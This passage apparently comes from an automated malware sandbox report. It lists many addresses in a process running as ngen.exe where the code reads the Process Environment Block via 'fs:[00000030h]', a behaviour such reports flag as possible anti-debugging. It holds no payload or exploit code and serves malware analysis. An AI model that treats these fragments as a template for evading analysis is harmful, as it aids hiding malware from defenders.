Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0593F6C7 mov eax, dword ptr fs:[00000030h]	4_2_0593F6C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059416CC mov eax, dword ptr fs:[00000030h]	4_2_059416CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059416CC mov eax, dword ptr fs:[00000030h]	4_2_059416CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059416CC mov eax, dword ptr fs:[00000030h]	4_2_059416CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059416CC mov eax, dword ptr fs:[00000030h]	4_2_059416CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059006F1 mov eax, dword ptr fs:[00000030h]	4_2_059006F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059006F1 mov eax, dword ptr fs:[00000030h]	4_2_059006F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0593D6F0 mov eax, dword ptr fs:[00000030h]	4_2_0593D6F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B36EF mov eax, dword ptr fs:[00000030h]	4_2_058B36EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AD6E0 mov eax, dword ptr fs:[00000030h]	4_2_058AD6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AD6E0 mov eax, dword ptr fs:[00000030h]	4_2_058AD6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058FE6F2 mov eax, dword ptr fs:[00000030h]	4_2_058FE6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058FE6F2 mov eax, dword ptr fs:[00000030h]	4_2_058FE6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058FE6F2 mov eax, dword ptr fs:[00000030h]	4_2_058FE6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058FE6F2 mov eax, dword ptr fs:[00000030h]	4_2_058FE6F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059136EE mov eax, dword ptr fs:[00000030h]	4_2_059136EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059136EE mov eax, dword ptr fs:[00000030h]	4_2_059136EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059136EE mov eax, dword ptr fs:[00000030h]	4_2_059136EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059136EE mov eax, dword ptr fs:[00000030h]	4_2_059136EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059136EE mov eax, dword ptr fs:[00000030h]	4_2_059136EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059136EE mov eax, dword ptr fs:[00000030h]	4_2_059136EE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0589260B mov eax, dword ptr fs:[00000030h]	4_2_0589260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0589260B mov eax, dword ptr fs:[00000030h]	4_2_0589260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0589260B mov eax, dword ptr fs:[00000030h]	4_2_0589260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0589260B mov eax, dword ptr fs:[00000030h]	4_2_0589260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0589260B mov eax, dword ptr fs:[00000030h]	4_2_0589260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0589260B mov eax, dword ptr fs:[00000030h]	4_2_0589260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0589260B mov eax, dword ptr fs:[00000030h]	4_2_0589260B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058FE609 mov eax, dword ptr fs:[00000030h]	4_2_058FE609
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BF603 mov eax, dword ptr fs:[00000030h]	4_2_058BF603
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B1607 mov eax, dword ptr fs:[00000030h]	4_2_058B1607
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C2619 mov eax, dword ptr fs:[00000030h]	4_2_058C2619
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05883616 mov eax, dword ptr fs:[00000030h]	4_2_05883616
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05883616 mov eax, dword ptr fs:[00000030h]	4_2_05883616
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F626 mov eax, dword ptr fs:[00000030h]	4_2_0587F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F626 mov eax, dword ptr fs:[00000030h]	4_2_0587F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F626 mov eax, dword ptr fs:[00000030h]	4_2_0587F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F626 mov eax, dword ptr fs:[00000030h]	4_2_0587F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F626 mov eax, dword ptr fs:[00000030h]	4_2_0587F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F626 mov eax, dword ptr fs:[00000030h]	4_2_0587F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F626 mov eax, dword ptr fs:[00000030h]	4_2_0587F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F626 mov eax, dword ptr fs:[00000030h]	4_2_0587F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F626 mov eax, dword ptr fs:[00000030h]	4_2_0587F626
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05955636 mov eax, dword ptr fs:[00000030h]	4_2_05955636
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588262C mov eax, dword ptr fs:[00000030h]	4_2_0588262C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B6620 mov eax, dword ptr fs:[00000030h]	4_2_058B6620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B8620 mov eax, dword ptr fs:[00000030h]	4_2_058B8620
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0589E627 mov eax, dword ptr fs:[00000030h]	4_2_0589E627
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0589C640 mov eax, dword ptr fs:[00000030h]	4_2_0589C640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BA660 mov eax, dword ptr fs:[00000030h]	4_2_058BA660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BA660 mov eax, dword ptr fs:[00000030h]	4_2_058BA660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B9660 mov eax, dword ptr fs:[00000030h]	4_2_058B9660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B9660 mov eax, dword ptr fs:[00000030h]	4_2_058B9660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0594866E mov eax, dword ptr fs:[00000030h]	4_2_0594866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0594866E mov eax, dword ptr fs:[00000030h]	4_2_0594866E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B2674 mov eax, dword ptr fs:[00000030h]	4_2_058B2674
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C0185 mov eax, dword ptr fs:[00000030h]	4_2_058C0185
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0590019F mov eax, dword ptr fs:[00000030h]	4_2_0590019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0590019F mov eax, dword ptr fs:[00000030h]	4_2_0590019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0590019F mov eax, dword ptr fs:[00000030h]	4_2_0590019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0590019F mov eax, dword ptr fs:[00000030h]	4_2_0590019F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587A197 mov eax, dword ptr fs:[00000030h]	4_2_0587A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587A197 mov eax, dword ptr fs:[00000030h]	4_2_0587A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587A197 mov eax, dword ptr fs:[00000030h]	4_2_0587A197
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0593C188 mov eax, dword ptr fs:[00000030h]	4_2_0593C188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0593C188 mov eax, dword ptr fs:[00000030h]	4_2_0593C188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058D7190 mov eax, dword ptr fs:[00000030h]	4_2_058D7190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059311A4 mov eax, dword ptr fs:[00000030h]	4_2_059311A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059311A4 mov eax, dword ptr fs:[00000030h]	4_2_059311A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059311A4 mov eax, dword ptr fs:[00000030h]	4_2_059311A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059311A4 mov eax, dword ptr fs:[00000030h]	4_2_059311A4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0589B1B0 mov eax, dword ptr fs:[00000030h]	4_2_0589B1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059461C3 mov eax, dword ptr fs:[00000030h]	4_2_059461C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059461C3 mov eax, dword ptr fs:[00000030h]	4_2_059461C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BD1D0 mov eax, dword ptr fs:[00000030h]	4_2_058BD1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058BD1D0 mov ecx, dword ptr fs:[00000030h]	4_2_058BD1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059551CB mov eax, dword ptr fs:[00000030h]	4_2_059551CB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058FE1D0 mov eax, dword ptr fs:[00000030h]	4_2_058FE1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058FE1D0 mov eax, dword ptr fs:[00000030h]	4_2_058FE1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058FE1D0 mov ecx, dword ptr fs:[00000030h]	4_2_058FE1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058FE1D0 mov eax, dword ptr fs:[00000030h]	4_2_058FE1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058FE1D0 mov eax, dword ptr fs:[00000030h]	4_2_058FE1D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A51EF mov eax, dword ptr fs:[00000030h]	4_2_058A51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A51EF mov eax, dword ptr fs:[00000030h]	4_2_058A51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A51EF mov eax, dword ptr fs:[00000030h]	4_2_058A51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A51EF mov eax, dword ptr fs:[00000030h]	4_2_058A51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A51EF mov eax, dword ptr fs:[00000030h]	4_2_058A51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A51EF mov eax, dword ptr fs:[00000030h]	4_2_058A51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A51EF mov eax, dword ptr fs:[00000030h]	4_2_058A51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A51EF mov eax, dword ptr fs:[00000030h]	4_2_058A51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A51EF mov eax, dword ptr fs:[00000030h]	4_2_058A51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A51EF mov eax, dword ptr fs:[00000030h]	4_2_058A51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A51EF mov eax, dword ptr fs:[00000030h]	4_2_058A51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A51EF mov eax, dword ptr fs:[00000030h]	4_2_058A51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A51EF mov eax, dword ptr fs:[00000030h]	4_2_058A51EF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058851ED mov eax, dword ptr fs:[00000030h]	4_2_058851ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059561E5 mov eax, dword ptr fs:[00000030h]	4_2_059561E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B01F8 mov eax, dword ptr fs:[00000030h]	4_2_058B01F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05940115 mov eax, dword ptr fs:[00000030h]	4_2_05940115
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0592A118 mov ecx, dword ptr fs:[00000030h]	4_2_0592A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0592A118 mov eax, dword ptr fs:[00000030h]	4_2_0592A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0592A118 mov eax, dword ptr fs:[00000030h]	4_2_0592A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0592A118 mov eax, dword ptr fs:[00000030h]	4_2_0592A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B0124 mov eax, dword ptr fs:[00000030h]	4_2_058B0124
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587B136 mov eax, dword ptr fs:[00000030h]	4_2_0587B136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587B136 mov eax, dword ptr fs:[00000030h]	4_2_0587B136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587B136 mov eax, dword ptr fs:[00000030h]	4_2_0587B136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587B136 mov eax, dword ptr fs:[00000030h]	4_2_0587B136
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05881131 mov eax, dword ptr fs:[00000030h]	4_2_05881131
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05881131 mov eax, dword ptr fs:[00000030h]	4_2_05881131
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05955152 mov eax, dword ptr fs:[00000030h]	4_2_05955152
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05879148 mov eax, dword ptr fs:[00000030h]	4_2_05879148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05879148 mov eax, dword ptr fs:[00000030h]	4_2_05879148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05879148 mov eax, dword ptr fs:[00000030h]	4_2_05879148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05879148 mov eax, dword ptr fs:[00000030h]	4_2_05879148
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587C156 mov eax, dword ptr fs:[00000030h]	4_2_0587C156
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05914144 mov eax, dword ptr fs:[00000030h]	4_2_05914144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05914144 mov eax, dword ptr fs:[00000030h]	4_2_05914144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05914144 mov ecx, dword ptr fs:[00000030h]	4_2_05914144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05914144 mov eax, dword ptr fs:[00000030h]	4_2_05914144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05914144 mov eax, dword ptr fs:[00000030h]	4_2_05914144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05887152 mov eax, dword ptr fs:[00000030h]	4_2_05887152
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05886154 mov eax, dword ptr fs:[00000030h]	4_2_05886154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05886154 mov eax, dword ptr fs:[00000030h]	4_2_05886154
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05919179 mov eax, dword ptr fs:[00000030h]	4_2_05919179
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F172 mov eax, dword ptr fs:[00000030h]	4_2_0587F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F172 mov eax, dword ptr fs:[00000030h]	4_2_0587F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F172 mov eax, dword ptr fs:[00000030h]	4_2_0587F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F172 mov eax, dword ptr fs:[00000030h]	4_2_0587F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F172 mov eax, dword ptr fs:[00000030h]	4_2_0587F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F172 mov eax, dword ptr fs:[00000030h]	4_2_0587F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F172 mov eax, dword ptr fs:[00000030h]	4_2_0587F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F172 mov eax, dword ptr fs:[00000030h]	4_2_0587F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F172 mov eax, dword ptr fs:[00000030h]	4_2_0587F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F172 mov eax, dword ptr fs:[00000030h]	4_2_0587F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F172 mov eax, dword ptr fs:[00000030h]	4_2_0587F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F172 mov eax, dword ptr fs:[00000030h]	4_2_0587F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F172 mov eax, dword ptr fs:[00000030h]	4_2_0587F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F172 mov eax, dword ptr fs:[00000030h]	4_2_0587F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F172 mov eax, dword ptr fs:[00000030h]	4_2_0587F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F172 mov eax, dword ptr fs:[00000030h]	4_2_0587F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F172 mov eax, dword ptr fs:[00000030h]	4_2_0587F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F172 mov eax, dword ptr fs:[00000030h]	4_2_0587F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F172 mov eax, dword ptr fs:[00000030h]	4_2_0587F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F172 mov eax, dword ptr fs:[00000030h]	4_2_0587F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587F172 mov eax, dword ptr fs:[00000030h]	4_2_0587F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0588208A mov eax, dword ptr fs:[00000030h]	4_2_0588208A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587D08D mov eax, dword ptr fs:[00000030h]	4_2_0587D08D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058B909C mov eax, dword ptr fs:[00000030h]	4_2_058B909C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AD090 mov eax, dword ptr fs:[00000030h]	4_2_058AD090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058AD090 mov eax, dword ptr fs:[00000030h]	4_2_058AD090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_05885096 mov eax, dword ptr fs:[00000030h]	4_2_05885096
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059460B8 mov eax, dword ptr fs:[00000030h]	4_2_059460B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059460B8 mov ecx, dword ptr fs:[00000030h]	4_2_059460B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058970C0 mov eax, dword ptr fs:[00000030h]	4_2_058970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058970C0 mov ecx, dword ptr fs:[00000030h]	4_2_058970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058970C0 mov ecx, dword ptr fs:[00000030h]	4_2_058970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058970C0 mov eax, dword ptr fs:[00000030h]	4_2_058970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058970C0 mov ecx, dword ptr fs:[00000030h]	4_2_058970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058970C0 mov ecx, dword ptr fs:[00000030h]	4_2_058970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058970C0 mov eax, dword ptr fs:[00000030h]	4_2_058970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058970C0 mov eax, dword ptr fs:[00000030h]	4_2_058970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058970C0 mov eax, dword ptr fs:[00000030h]	4_2_058970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058970C0 mov eax, dword ptr fs:[00000030h]	4_2_058970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058970C0 mov eax, dword ptr fs:[00000030h]	4_2_058970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058970C0 mov eax, dword ptr fs:[00000030h]	4_2_058970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058970C0 mov eax, dword ptr fs:[00000030h]	4_2_058970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058970C0 mov eax, dword ptr fs:[00000030h]	4_2_058970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058970C0 mov eax, dword ptr fs:[00000030h]	4_2_058970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058970C0 mov eax, dword ptr fs:[00000030h]	4_2_058970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058970C0 mov eax, dword ptr fs:[00000030h]	4_2_058970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058970C0 mov eax, dword ptr fs:[00000030h]	4_2_058970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059550D9 mov eax, dword ptr fs:[00000030h]	4_2_059550D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_059020DE mov eax, dword ptr fs:[00000030h]	4_2_059020DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058FD0C0 mov eax, dword ptr fs:[00000030h]	4_2_058FD0C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058FD0C0 mov eax, dword ptr fs:[00000030h]	4_2_058FD0C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A90DB mov eax, dword ptr fs:[00000030h]	4_2_058A90DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058880E9 mov eax, dword ptr fs:[00000030h]	4_2_058880E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587A0E3 mov ecx, dword ptr fs:[00000030h]	4_2_0587A0E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A50E4 mov eax, dword ptr fs:[00000030h]	4_2_058A50E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058A50E4 mov ecx, dword ptr fs:[00000030h]	4_2_058A50E4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0587C0F0 mov eax, dword ptr fs:[00000030h]	4_2_0587C0F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_058C20F0 mov ecx, dword ptr fs:[00000030h]	4_2_058C20F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe	Code function: 4_2_0589E016 mov eax, dword ptr fs:[00000030h]	4_2_0589E016
